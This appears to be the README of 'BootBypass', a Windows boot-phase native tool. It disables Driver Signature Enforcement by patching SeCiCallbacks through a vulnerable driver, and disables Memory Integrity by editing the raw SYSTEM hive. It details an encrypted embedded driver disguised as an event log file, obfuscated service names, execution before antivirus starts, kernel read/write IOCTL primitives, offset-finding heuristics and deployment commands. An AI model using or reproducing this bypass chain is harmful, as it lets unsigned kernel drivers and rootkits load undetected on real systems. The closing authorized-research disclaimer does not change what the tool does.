Advanced native-mode utility for bypassing Driver Signature Enforcement and Memory Integrity.
Implements smart SeCiCallbacks patching and independent management of HVCI settings.
Operating as a subsystem:native application, it ensures early-phase control and environment preparation for security research and driver development.
| Author | Marek Wesołowski (WESMAR) | Contact | marek@kvc.pl · +48 607 440 283 |
| Year | 2026 | Domain | kvc.pl |
- Overview
- Architecture
- Boot-Phase Execution Context
- Resource Embedding — IDR_DRV
- Kernel Offset Discovery — SeCiCallbacks Scanner
- IOCTL Memory Primitives — RTC_PACKET
- DSE Patch/Restore Sequence
- HVCI Detection and Hive Patching
- Service Name Obfuscation — MmPoolTelemetry
- DSE State Persistence
- Configuration Reference — drivers.ini
- Research Notes — Algorithm Development
- Module Reference
- Build System
- Deployment
BootBypass is a Windows native-subsystem application (/SUBSYSTEM:NATIVE) that executes as a SMSS boot-phase program — before services.exe, before winlogon.exe, and before any antivirus or EDR user-mode component initializes. It delivers a complete, automated pipeline for:
- DSE bypass — patching
SeCiCallbacksin the live kernel to disable Code Integrity validation, loading an unsigned target driver, then restoring the original callback — all within a single atomic boot-phase sequence. - HVCI (Memory Integrity) bypass — directly modifying the
SYSTEMregistry hive on disk, without using any registry API, to clear theHypervisorEnforcedCodeIntegrity\Enabledflag before the next boot. - INI-driven operation — all actions declared in
C:\Windows\drivers.ini(UTF-16 LE). SupportsLOAD,UNLOAD,RENAME, andDELETEoperations, executed sequentially.
Secure Boot independence. Secure Boot validates the pre-OS chain — UEFI firmware → boot manager → Windows kernel. That chain is complete and sealed before SMSS launches its first process.
bb.exeexecutes inside an already-running, already-validated kernel session; Secure Boot has no mechanism to inspect or constrain native applications registered inBootExecute. The relevant enforcement boundary at this stage is DSE — which this utility addresses directly.
Archive password: github.com
Demonstrated outcome — unsigned kernel driver loaded and running:
sc query omnidriver
SERVICE_NAME: omnidriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
The project is a single native executable compiled from seven C translation units, one MASM module, a shared header, and embedded binary resources.
src/
├── BootBypass.h Global type definitions, NT API imports, constants
├── BootManager.c/.h Entry point (NtProcessStartup), privilege setup, main dispatch
├── SecurityPatcher.c/.h IOCTL read/write primitives, DSE patch/restore, AutoPatch sequence
├── OffsetFinder.c/.h PE parser, SeCiCallbacks heuristic scanner, ZwFlushInstructionCache locator
├── SetupManager.c/.h Resource extraction (IDR_DRV), HVCI detect/patch, hive NK/VK walker
├── DriverManager.c/.h NtLoadDriver, NtUnloadDriver, IsDriverLoaded
├── FileManager.c/.h NtSetInformationFile rename/delete, recursive directory delete
├── SystemUtils.c/.h memset, wcslen, wcscpy/wcscat safe ops, NtDisplayString, alloc/free
├── MmPoolTelemetry.asm Runtime service name decoder (MASM, obfuscated)
├── IDR_DRV Embedded driver blob (LZNT1-compressed + XOR-encrypted)
├── drivers.ini Boot-phase runtime configuration (UTF-16 LE)
└── resource.h / BootBypass.rc
flowchart TD
A([NtProcessStartup]) --> B[Acquire privileges\nSE_LOAD_DRIVER · SE_BACKUP\nSE_RESTORE · SE_SHUTDOWN]
B --> C[ReadIniFile + ParseIniFile]
C --> D{Offsets in INI?}
D -- No --> E[FindKernelOffsetsLocally\nScan ntoskrnl.exe on disk]
D -- Yes --> F
E --> F{HVCI enabled?}
F -- Yes --> G[PatchSystemHiveHVCI\nDirect NK/VK hive write\nReboot]
F -- No --> H[For each INI entry]
H --> I{Action}
I -- LOAD + AutoPatch --> J[ExecuteAutoPatchLoad]
I -- LOAD --> K[LoadDriver]
I -- UNLOAD --> L[UnloadDriver]
I -- RENAME --> M[NtSetInformationFile]
I -- DELETE --> N[NtSetInformationFile\nrecursive if set]
J --> O[ExtractkvcFromResource\nXOR decrypt + LZNT1 decompress\nWrite to Sam.evtx]
O --> P[LoadDriver under obfuscated name]
P --> Q[OpenDriverDevice]
Q --> R[GetNtoskrnlBase\nNtQuerySystemInformation]
R --> S[ReadMemory64 → save callback\nWriteMemory64 → patch SeCiCallbacks+0x20]
S --> T[LoadDriver target unsigned driver]
T --> U[WriteMemory64 → restore callback]
U --> V[UnloadDriver + Cleanupkvc\nDelete Sam.evtx + registry key]
V --> W([SUCCESS])
BootBypass runs as a native application registered in:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
The default value is autocheck autochk *. deploy.ps1 appends bb to this multi-string, causing SMSS to launch bb.exe from %SystemRoot%\System32 on the next boot — before any Win32 subsystem process starts.
At this execution stage:
- No antivirus user-mode threads are alive.
- No ETW-based kernel callbacks are armed by security software.
- The kernel and its loaded boot drivers are running; the session manager has control.
NtDisplayStringwrites directly to the boot screen (visible whenVerbose=YES).
#pragma comment(linker,
"/SUBSYSTEM:NATIVE "
"/ENTRY:NtProcessStartup "
"/NODEFAULTLIB "
"/STACK:0x100000,0x100000")
#pragma comment(lib, "ntdll.lib")
#pragma optimize("", off)
#pragma check_stack(off)| Flag | Effect |
|---|---|
/SUBSYSTEM:NATIVE |
Loaded by SMSS; no Win32 initialization |
/ENTRY:NtProcessStartup |
NT native entry point; PEB passed directly by the loader |
/NODEFAULTLIB |
No CRT dependency; all string operations re-implemented in SystemUtils.c |
/STACK:0x100000,0x100000 |
1 MB committed stack; required for in-place LZNT1 decompression buffers |
#pragma optimize("", off) |
Prevents dead-code elimination of deliberate structural sequences |
#pragma check_stack(off) |
Disables /GS stack cookies; consistent with native binary conventions |
The first action of NtProcessStartup is enabling four privileges via RtlAdjustPrivilege:
| Privilege | Purpose |
|---|---|
SeLoadDriverPrivilege (10) |
NtLoadDriver / NtUnloadDriver |
SeBackupPrivilege (17) |
Open the SYSTEM hive with backup intent |
SeRestorePrivilege (18) |
Write to the SYSTEM hive |
SeShutdownPrivilege (19) |
NtShutdownSystem after HVCI hive patch |
The bypass driver is embedded directly into bb.exe as a RCDATA resource (type 10, ID 101) and never touches disk as a standalone file. It is protected by two layers applied at build time:
Input: src\kvc.sys (raw PE, 14024 bytes)
↓
RtlCompressBuffer (LZNT1 + COMPRESSION_ENGINE_MAXIMUM)
→ compressed blob (9139 bytes, ~35% reduction)
↓
XOR encrypt, key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C } (7-byte rotating)
→ IDR_DRV (final resource blob, 9139 bytes)
The script outputs the constants required in SetupManager.c:
#define kvc_SIZE 9139 // compressed+encrypted size
#define kvc_UNCOMPRESSED_SIZE 14024 // original PE sizeThese are verified at runtime: if the resource size does not match kvc_SIZE exactly, extraction fails immediately.
No Win32 resource API is available in the native subsystem. FindResourceData() locates the embedded blob by walking the PE resource directory manually, starting from the image base obtained directly from the PEB:
// x64: PEB at GS:[0x60], ImageBase at PEB+0x10
imageBase = (PVOID)*(ULONGLONG*)((UCHAR*)__readgsqword(0x60) + 0x10);Walk path through the .rsrc directory tree:
IMAGE_RESOURCE_DIRECTORY (root)
└─ entry.Id == 10 (RT_RCDATA)
└─ IMAGE_RESOURCE_DIRECTORY (type level)
└─ entry.Id == 101 (IDR_DRV)
└─ IMAGE_RESOURCE_DIRECTORY (language level)
└─ IMAGE_RESOURCE_DATA_ENTRY
├─ OffsetToData → pointer to encrypted blob
└─ Size → verified against kvc_SIZE
Before writing the driver to disk, ExtractkvcFromResource() checks for leftover state from a previous crash or incomplete run:
IsDriverLoaded(driverName)?
YES → NtUnloadDriver(service path)
→ NtOpenKey(service key) + NtDeleteKey
→ NtOpenFile(Sam.evtx) + FILE_DISPOSITION delete
This ensures idempotent operation regardless of prior crash.
// Step 1: XOR decrypt in-place
for (SIZE_T i = 0; i < kvc_SIZE; i++)
xorBuf[i] = srcData[i] ^ XOR_KEY[i % XOR_KEY_LEN];
// Step 2: LZNT1 decompress via ntdll
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,
decompBuf, kvc_UNCOMPRESSED_SIZE,
xorBuf, kvc_SIZE,
&finalSize);If finalSize != kvc_UNCOMPRESSED_SIZE, the extraction is aborted — no partial file is written.
The decompressed PE is written to:
\SystemRoot\System32\winevt\Logs\Sam.evtx
This path was chosen because:
- The Windows Event Log service (
EventLog) is not yet running during the SMSS boot phase — no sharing violation. - The filename and directory are indistinguishable from legitimate Windows telemetry to a casual observer.
- The file is deleted by
Cleanupkvc()immediately after the bypass driver is unloaded — zero permanent footprint.
Cleanupkvc() unconditionally:
- Opens
Sam.evtxwithDELETEaccess and setsFILE_DISPOSITION_INFORMATION.DeleteFile = TRUE. - Opens the service registry key under
HKLM\...\Services\<name>and callsNtDeleteKey.
When Offset_SeCiCallbacks or Offset_SafeFunction are missing from drivers.ini, FindKernelOffsetsLocally() reads ntoskrnl.exe directly from disk and scans it — no PDB download, no network access, no symbols.
Located by a simple export table name scan. The RVA is read from the export directory:
Export directory → name table → find "ZwFlushInstructionCache" → ordinal → function RVA
This function is used as the patch target: writing its address into SeCiCallbacks+0x20 causes CiValidateImageHeader to immediately return success for all drivers, bypassing signature verification.
SeCiCallbacks is an undocumented kernel global — not exported, not in any public symbol. The scanner finds it by identifying its initialization code in the .text section of ntoskrnl.exe.
Target instruction pattern:
At driver startup, the kernel writes the size of the SeCiCallbacks structure into the struct's first DWORD via a RIP-relative store:
C7 05 <rel32> <imm32> ; MOV DWORD PTR [rip+disp], <struct_size>This is a 10-byte instruction (C7 05 form, not the 48 C7 05 QWORD form). The displacement points to a writable data section — SeCiCallbacks itself.
Scoring system: Each candidate instruction is evaluated by a multi-factor scoring algorithm:
| Evidence | Points |
|---|---|
| Base score for matching RIP-relative DWORD store to writable data | 80 |
imm32 within expected struct-size range [0x40, 0x4000] |
(required) |
imm32 == 0x108 (known SeCiCallbacks flags value) |
+12 |
Preceding RIP-relative LEA points to target+4 in writable data |
(required) |
Zeroing of EDX/R8D (xor edx,edx / xor r8d,r8d) before struct init |
+1 (per item) |
Struct size constant in r8d / r9d (41 B8 or 49 C7 C0, value 0x40–0x400) |
+1 |
CALL instruction appears after the zeroing + size sequence |
+1 |
| Each point from zeroing window multiplied by 12 | |
Nearby QWORD store within 0x20 bytes (48 C7 05 / 48 89) to writable data |
+8 |
| qword store gap < 24 bytes | 30 − gap |
struct size matches: qword_target_rva − lea_target_rva == struct_size |
+18 |
imm32 == struct_size + 12 (common SeCiCallbacks layout) |
+18 |
imm32 == struct_size + 8 or +16 |
+6 |
qword_delta == imm32 − 8 (pointer-and-size layout) |
+20 |
| Distance penalty (LEA distance / 32, max 12) | −(0..12) |
Minimum qualifying score: 110.
The scanner uses the PE exception directory (.pdata, IMAGE_RUNTIME_FUNCTION_ENTRY) to constrain the backwards search window to the containing function's prologue — reducing false positives and search time significantly.
Callback offset: hardcoded to 0x20 (32 bytes into SeCiCallbacks). This is the slot for CiValidateImageHeader, the callback that validates PE code integrity before loading.
ntoskrnl.exe is opened with NtOpenFile + FILE_READ_DATA | SYNCHRONIZE, mapped into user memory via NtAllocateVirtualMemory, and read with NtReadFile. All section boundaries are parsed from the PE header — no kernel mapping, no LoadLibrary.
The bypass driver exposes arbitrary 32-bit kernel virtual memory read and write via a simple IOCTL interface. Communication uses the following structure:
typedef struct _RTC_PACKET {
UCHAR pad0[8]; // offset 0 — reserved
ULONGLONG addr; // offset 8 — target kernel virtual address
UCHAR pad1[8]; // offset 16 — reserved
ULONG size; // offset 24 — transfer size (always 4)
ULONG value; // offset 28 — read result / write value
UCHAR pad3[16]; // offset 32 — reserved
} RTC_PACKET; // total: 48 bytesBecause the IOCTL only supports 32-bit transfers, 64-bit read/write is decomposed into two consecutive 32-bit operations:
// WriteMemory64: low DWORD first, high DWORD at address+4
WriteMemory32(hDriver, address, (ULONG)(value & 0xFFFFFFFF), ioctl_write);
WriteMemory32(hDriver, address + 4, (ULONG)((value >> 32) & 0xFFFFFFFF), ioctl_write);
// ReadMemory64: two reads, reassembled
low = ReadMemory32(hDriver, address, ioctl_read);
high = ReadMemory32(hDriver, address + 4, ioctl_read);
*value = ((ULONGLONG)high << 32) | low;The IOCTL codes are read from drivers.ini (IoControlCode_Read, IoControlCode_Write) — no hardcoded constants in the binary.
Kernel device handle is obtained via NtOpenFile on the device path declared in DriverDevice. If the path ends with kvc, it is resolved at runtime to \Device\<MmGetPoolDiagnosticString()> — see §9.
ExecuteAutoPatchLoad() performs the complete bypass in five steps:
STEP 1 ExtractkvcFromResource()
XOR decrypt + LZNT1 decompress IDR_DRV → Sam.evtx
LoadDriver(obfuscated_name, Sam.evtx, "KERNEL", "SYSTEM")
STEP 2 OpenDriverDevice(\Device\<obfuscated_name>)
GetNtoskrnlBase (NtQuerySystemInformation class 11)
STEP 3 callbackToPatch = ntBase + Offset_SeCiCallbacks + Offset_Callback (0x20)
safeFunction = ntBase + Offset_SafeFunction
ReadMemory64(callbackToPatch) → save originalCallback + DSE_STATE to drivers.ini
WriteMemory64(callbackToPatch, safeFunction) ← DSE disabled
STEP 4 LoadDriver(target_service, target_image_path) ← unsigned driver loads
STEP 5 WriteMemory64(callbackToPatch, originalCallback) ← DSE restored
UnloadDriver(obfuscated_name)
Cleanupkvc() ← Sam.evtx + registry deleted
If any step fails after the patch write (steps 4–5), the original callback is already persisted in [DSE_STATE] — it will be restored on the next boot from the saved value.
HVCI status is read from the live registry at boot time:
HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\
Scenarios\HypervisorEnforcedCodeIntegrity\Enabled (REG_DWORD)
If Enabled == 1, direct memory patching via IOCTL would fail (HVCI prevents writable kernel code). The tool switches to hive patching mode.
PatchSystemHiveHVCI() opens \SystemRoot\System32\config\SYSTEM directly with FILE_OPEN_FOR_BACKUP_INTENT | FILE_READ_DATA | FILE_WRITE_DATA (requires SeBackupPrivilege + SeRestorePrivilege). It operates entirely without the registry API — reading and modifying the raw binary hive file.
Scan strategy — chunked 1 MB reads with 256-byte overlap:
The hive file is scanned in 1 MB chunks. Each chunk is searched for the 31-byte ASCII literal:
HypervisorEnforcedCodeIntegrity
When the pattern is found at offset p within a chunk, the scanner validates that it belongs to an NK (key) cell — not a value blob — by checking the two-byte signature at p - 0x4C:
chunkBuffer[p - 0x4C] == 0x6E && // 'n'
chunkBuffer[p - 0x4C + 1] == 0x6B // 'k'The NK cell header layout at p - 0x4C:
| Offset | Field | Verification |
|---|---|---|
| +0x00 | NK signature | 0x6E 0x6B — required |
| +0x04 | values count | must be 1–256 |
| +0x08 | values list offset | raw hive offset |
| +0x4C | key name (ASCII) | HypervisorEnforcedCodeIntegrity |
Values list walk:
The values list is a flat array of ULONG hive offsets, one per value. Each offset is resolved to an absolute file offset as 0x1000 + cell_offset (skipping the 4 KB hive header). For each VK (value) cell:
| VK offset | Field | Expected |
|---|---|---|
| +4 | VK signature | 0x76 0x6B |
| +6 | name length (USHORT) | 7 (ASCII) or 14 (Unicode) |
| +8 | data length | 0x80000004 (inline REG_DWORD) |
| +12 | inline data | current DWORD value |
| +16 | data type | REG_DWORD (4) |
| +20 | flags | bit 0 set = ASCII name |
Name match: compares 7 bytes "Enabled" in ASCII (flags bit 0 set) or 7 UTF-16 LE codepoints (flags bit 0 clear).
Write and verify:
writeOffset.QuadPart = vkFileOffset + 12; // inline REG_DWORD payload
NtWriteFile(hFile, ..., &newValue, 4, &writeOffset);
// Immediate read-back verification
NtReadFile(hFile, ..., &verifiedValue, 4, &writeOffset);
assert(verifiedValue == newValue);After successful patch, NtFlushBuffersFile flushes to physical media. The tool then calls NtShutdownSystem(1) to reboot — the patched hive takes effect on the next boot. On the boot after the reboot, HVCI is no longer active and the DSE bypass proceeds normally.
Windows 10 compatibility: On Windows 10 the VK cell for Enabled can reside megabytes away from its NK cell in the hive file. The 256-byte chunk overlap prevents missing patterns at chunk boundaries; the values-list random-access reads handle distant VK cells regardless of their file position.
If RestoreHVCI=YES in drivers.ini, after all operations complete PatchSystemHiveHVCI(TRUE) is called to re-enable the hive flag, and SetHVCIRegistryFlag(TRUE) writes Enabled=1 back to the live registry key — so the Windows Security Center shows Memory Integrity as active again.
The service name used for the bypass driver is not stored as a plain string anywhere in bb.exe. It is produced at runtime by MmGetPoolDiagnosticString() — an x64 MASM function in MmPoolTelemetry.asm that assembles the name from encoded immediate values.
The returned name appears in:
- The service registry key path (
HKLM\...\Services\<name>) - The device object path (
\Device\<name>) NtLoadDriver/NtUnloadDrivercalls
Device path resolution: drivers.ini declares DriverDevice=\Device\kvc as a placeholder. At runtime, if the last path component is exactly kvc, ExecuteAutoPatchLoad() replaces it with \Device\<MmGetPoolDiagnosticString()>:
SIZE_T nameStart = find_last_backslash(config->DriverDevice);
if (config->DriverDevice[nameStart] == L'k' &&
config->DriverDevice[nameStart+1] == L'v' &&
config->DriverDevice[nameStart+2] == L'c' &&
config->DriverDevice[nameStart+3] == L'\0') {
wcscpy_safe(resolved, MAX_PATH_LEN, L"\\Device\\");
wcscat_safe(resolved, MAX_PATH_LEN, MmGetPoolDiagnosticString());
devicePath = resolved;
}This means neither the real driver name nor the device path appear in any string table, import table, or resource of the binary.
If the process terminates abnormally between patching and restoring SeCiCallbacks, the original callback value would be lost — leaving DSE permanently disabled until the next kernel load. To prevent this, the original callback is persisted immediately after the read:
SaveStateSection() appends a [DSE_STATE] section to drivers.ini:
[DSE_STATE]
OriginalCallback=0xFFFFF80612345678On the next boot, LoadStateSection() reads this value before performing any operation. RemoveStateSection() strips the section from the file after a successful restore. Both operations parse and rewrite the UTF-16 LE INI file using only NT file APIs.
The configuration file is placed at %SystemRoot%\drivers.ini — decoded by bb.exe as \SystemRoot\drivers.ini. It must be encoded as UTF-16 LE with BOM (written automatically by deploy.ps1).
[Config]
Execute=YES ; NO = parse file but perform no operations
RestoreHVCI=NO ; YES = re-enable HVCI flag in hive after all operations
Verbose=NO ; YES = output to boot screen via NtDisplayString; NO = silent
DriverDevice=\Device\kvc ; Bypass driver device path; "kvc" resolved at runtime
IoControlCode_Read=2147492936 ; 0x80002048
IoControlCode_Write=2147492940 ; 0x8000204C
; Kernel offsets — commented out = auto-scanned at boot from ntoskrnl.exe.
; Fill in known values to skip the scan (faster on repeated runs).
;Offset_SeCiCallbacks=0x0
Offset_Callback=0x20 ; offset within SeCiCallbacks to CiValidateImageHeader
;Offset_SafeFunction=0x0If both
Offset_SeCiCallbacksandOffset_SafeFunctionare 0,FindKernelOffsetsLocally()scansntoskrnl.exeat boot time and populates them automatically. The offsets are not written back to the file — the scan runs on every boot if they are absent.
[Driver0]
Action=LOAD
AutoPatch=YES ; YES = full DSE bypass cycle; NO = direct NtLoadDriver
CheckIfLoaded=NO ; YES = skip if driver already running
ServiceName=omnidriver ; SCM service name (registry key)
DisplayName=omnidriver ; Display label (boot screen only)
ImagePath=\SystemRoot\System32\drivers\omnidriver.sys
DriverType=KERNEL
StartType=SYSTEM[Driver1]
Action=UNLOAD
ServiceName=omnidriver
DisplayName=Unload omnidriverRename/move a file or directory (pre-boot, before any file locks are established):
[Op0]
Action=RENAME
DisplayName=Rename my file
SourcePath=\SystemRoot\System32\oldname.dll
TargetPath=\SystemRoot\System32\newname.dll
ReplaceIfExists=YESDelete a file or directory tree:
[Op1]
Action=DELETE
DisplayName=Remove temp artifact
DeletePath=\SystemRoot\Temp\artifact.bin
RecursiveDelete=NOAll paths use NT-style format — no drive letters.
\SystemRootis the kernel alias for the Windows installation root, resolved independently of which drive Windows is installed on.
Up to 64 entries (MAX_ENTRIES) are supported per file. Entries are processed sequentially in declaration order. AutoPatch=YES entries extract the bypass driver, use it, and clean up before proceeding to the next entry.
; ============================================================
; BootBypass Configuration — UTF-16 LE with BOM
; ============================================================
[Config]
Execute=YES
RestoreHVCI=NO
Verbose=NO
DriverDevice=\Device\kvc
IoControlCode_Read=2147492936
IoControlCode_Write=2147492940
; Kernel offsets — commented out = auto-scanned at boot from ntoskrnl.exe.
;Offset_SeCiCallbacks=0x0
Offset_Callback=0x20
;Offset_SafeFunction=0x0
; --- Load unsigned target driver with DSE bypass ---
[Driver0]
Action=LOAD
AutoPatch=YES
CheckIfLoaded=NO
ServiceName=omnidriver
DisplayName=omnidriver
ImagePath=\SystemRoot\System32\drivers\omnidriver.sys
DriverType=KERNEL
StartType=SYSTEM
; --- Rename a file before Windows session starts ---
[Op0]
Action=RENAME
DisplayName=Swap library
SourcePath=\SystemRoot\System32\mylib_new.dll
TargetPath=\SystemRoot\System32\mylib.dll
ReplaceIfExists=YES
; --- Delete a leftover artifact ---
[Op1]
Action=DELETE
DisplayName=Remove temp
DeletePath=\SystemRoot\Temp\setup_artifact.tmp
RecursiveDelete=NOThe HVCI bypass via raw hive patching required understanding a non-obvious structural difference between Windows generations that is not documented anywhere publicly.
Windows 11 — compact hive layout. The HypervisorEnforcedCodeIntegrity NK cell and its Enabled VK cell are stored close together in the hive file — typically within a few kilobytes. A simple forward scan finds the key name and the value data nearby with high reliability.
Windows 10 — scattered layout. Microsoft's registry compaction on Windows 10 places the VK cell for Enabled at a completely unrelated file offset, potentially megabytes away from the NK cell that references it. A naive contiguous scanner finds the key name, reads the values-list offset from the NK header, then must perform an entirely separate random-access read to a distant file position to reach the actual VK cell.
Understanding this required:
- Opening raw
SYSTEMhive files from both Windows versions in a hex editor. - Manually tracing the NK → values-list → VK chain at the binary level: 4-byte cell sizes, the
0x1000base offset of the first hive bin, the inlineREG_DWORDencoding at VK offset+12. - Confirming that the NK signature (
nk=0x6E 0x6B) appears exactly0x4Cbytes before the key name in the cell, and the VK signature (vk=0x76 0x6B) at+4within the value cell.
The implementation handles both layouts via chunked 1 MB reads with 256-byte overlap (preventing missed patterns at chunk boundaries) combined with random-access NtReadFile calls for values-list and VK data regardless of their file position. Write is followed by an immediate read-back verification before NtFlushBuffersFile commits the change to disk.
Finding SeCiCallbacks without PDB symbols across arbitrary Windows kernel builds required a full reverse engineering process before a single line of C was written.
Goal: Locate two offsets in ntoskrnl.exe at boot time — fully offline, no internet, no symbol server:
Offset_SeCiCallbacks— RVA of the undocumentedSeCiCallbacksglobalOffset_SafeFunction— RVA ofZwFlushInstructionCache(patch target to neutralise CI)
Stage 1 — IDA analysis. Loaded ntoskrnl.exe in IDA Pro (x64). Navigated to SepInitializeCodeIntegrity — the function responsible for initialising the Code Integrity subsystem at boot. Observed the following characteristic initialization sequence:
lea rcx, SeCiCallbacks+4 ; LEA r64, [RIP+rel32] — points to struct+4
xor edx, edx ; zero fill value
mov r8d, 0FCh ; struct size for memset
call memset
mov cs:SeCiCallbacks, 108h ; C7 05 rel32 108h — flags field write
mov cs:qword_..., 0A000010h ; 48 C7 05 rel32 ... — nearby qword writeKey insight: the LEA points to SeCiCallbacks + 4 (not the base), so seci_rva = lea_target − 4. The C7 05 store immediately after memset writes the flags field (0x108 on observed builds). A nearby 48 C7 05 (QWORD store) appears within ~0x20 bytes into the same structure.
Stage 2 — Python prototype (find_seci.py). Implemented a complete offline scanner in Python to iterate quickly on heuristics:
# Anchor: find all C7 05 rel32 imm32 instructions in executable sections
# where target RVA lands in a writable, non-executable section
# and imm32 is in [0x40, 0x4000] (plausible struct size/flags)
for file_off in exec_section_range:
if data[file_off:file_off+2] != b'\xC7\x05':
continue
target_rva = compute_rip_relative(file_off, length=10, data=data)
if not is_writable_data(target_rva, sections):
continue
# Search backwards for matching LEA to target_rva + 4
# Score the candidate by zeroing window, qword proximity, size matchThe prototype went through three iterations:
- v1 — single tight byte pattern near
SepInitializeCodeIntegrity. Too brittle across compiler versions. - v2 — hybrid: fast path (precise manual decode of
C7 05+ nearby48 C7 05) + structural scan using.pdataRUNTIME_FUNCTIONbounds as function delimiters. - v3 — scoring system: multiple independent signals weighted by confidence; minimum threshold prevents false positives.
Validated output on a local build:
Offset_SeCiCallbacks = 0xF047A0
Offset_SafeFunction = 0x6A7760
Offset_Callback = 0x20
Stage 3 — Port to C (OffsetFinder.c). The Python algorithm was ported to pure C with no CRT dependency, operating directly on a memory-mapped copy of ntoskrnl.exe loaded via NtReadFile. The scoring engine (ScoreZeroingWindow, FindRuntimeFunctionBounds, FindNearbyQwordStore) maps 1:1 to the Python prototype. Minimum score threshold: 110 points. Observed scores on correct candidates: 120–185 points.
The ZwFlushInstructionCache RVA is found by a simple export table name scan — it is a public export, present on all builds, resolved without any heuristic.
| Module | Responsibility |
|---|---|
BootManager.c |
NtProcessStartup entry, privilege setup, INI load, HVCI check gate, entry dispatch loop |
SecurityPatcher.c |
WriteMemory32/64, ReadMemory64, GetNtoskrnlBase, OpenDriverDevice, ExecuteAutoPatchLoad, SaveStateSection, LoadStateSection, RemoveStateSection |
OffsetFinder.c |
PE parser (ParsePe, FindExportRva), heuristic scanner (FindKernelOffsetsLocally), scoring engine (ScoreZeroingWindow), exception directory walker (FindRuntimeFunctionBounds) |
SetupManager.c |
FindResourceData, ExtractkvcFromResource, Cleanupkvc, PatchSystemHiveHVCI, CheckAndDisableHVCI, RestoreHVCI, SetHVCIRegistryFlag |
DriverManager.c |
LoadDriver (registry key creation + NtLoadDriver), UnloadDriver, IsDriverLoaded |
FileManager.c |
ExecuteRename (NtSetInformationFile + FILE_RENAME_INFORMATION), ExecuteDelete (FILE_DISPOSITION_INFORMATION), recursive directory delete |
SystemUtils.c |
memset_impl, wcslen, wcscpy_safe, wcscat_safe, wcscat_check, _wcsicmp_impl, TrimString, ULONGLONGToHexString, StringToULONGLONG, DisplayMessage, DisplayAlwaysMessage, DisplayStatus, AllocateZeroedBuffer, FreeAllocatedBuffer, ReadIniFile, ParseIniFile, FreeIniFileBuffer, QuerySystemModuleInformation |
MmPoolTelemetry.asm |
MmGetPoolDiagnosticString — runtime decoder for bypass driver service name |
Visual Studio 2022, BootBypass.vcxproj. Configuration: Release | x64.
Key project settings:
- Runtime library: none (
/NODEFAULTLIB) - Subsystem: Native
- Entry point:
NtProcessStartup - Additional dependencies:
ntdll.lib - Enable assembly: MASM (
ml64.exe) forMmPoolTelemetry.asm
build.ps1 builds the Visual Studio project and copies the output bb.exe to data\. Run from the repo root in an elevated Developer PowerShell:
.\build.ps1Run once whenever kvc.sys changes. Produces src\IDR_DRV and prints the updated #define constants:
.\compress_idr.ps1 -InputSys src\kvc.sys -OutputFile src\IDR_DRVOutput example:
Input : 14024 bytes (src\kvc.sys)
Output : 9139 bytes (src\IDR_DRV) [-34.8%]
Update SetupManager.c:
#define kvc_SIZE 9139
#define kvc_UNCOMPRESSED_SIZE 14024
Update the constants in SetupManager.c, then rebuild.
Run from an elevated PowerShell session. The script:
- Copies
bb.exeto%SystemRoot%\System32\bb.exe. - Reads
drivers.ini, optionally replacesImagePathwith the value from-TargetDriverNtPath. - Writes the (possibly modified) INI to
%SystemRoot%\drivers.inias UTF-16 LE. - Appends
bbtoHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute(REG_MULTI_SZ), preserving the existingautocheck autochk *entry.
# Deploy — inject real driver NT path
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys"
# Deploy with force (no confirmation prompt)
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys" -Force
# Preview all actions without modifying the system
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys" -WhatIf
# Remove all traces (BootExecute entry, bb.exe, drivers.ini)
.\deploy.ps1 -Remove
-TargetDriverNtPathmust use an NT-style path beginning with\and without a drive letter.
Example:\SystemRoot\System32\drivers\omnidriver.sys
1. Run deploy.ps1 → installs bb.exe + drivers.ini + BootExecute entry
2. Reboot → SMSS executes bb.exe before any Win32 process
3. bb.exe runs:
a. Read/parse drivers.ini
b. If offsets missing → scan ntoskrnl.exe
c. If HVCI enabled → patch SYSTEM hive → reboot (one additional reboot)
d. Extract bypass driver from IDR_DRV → Sam.evtx
e. Load bypass driver → patch SeCiCallbacks+0x20
f. Load unsigned target driver
g. Restore SeCiCallbacks → unload bypass driver → delete Sam.evtx
4. Windows continues booting → target driver running
5. Verify: sc query <ServiceName> → STATE: 4 RUNNING
This tool is intended exclusively for authorized security research, driver development, and educational purposes in controlled environments. Use only on systems you own or have explicit written permission to test.
© 2026 Marek Wesołowski (WESMAR)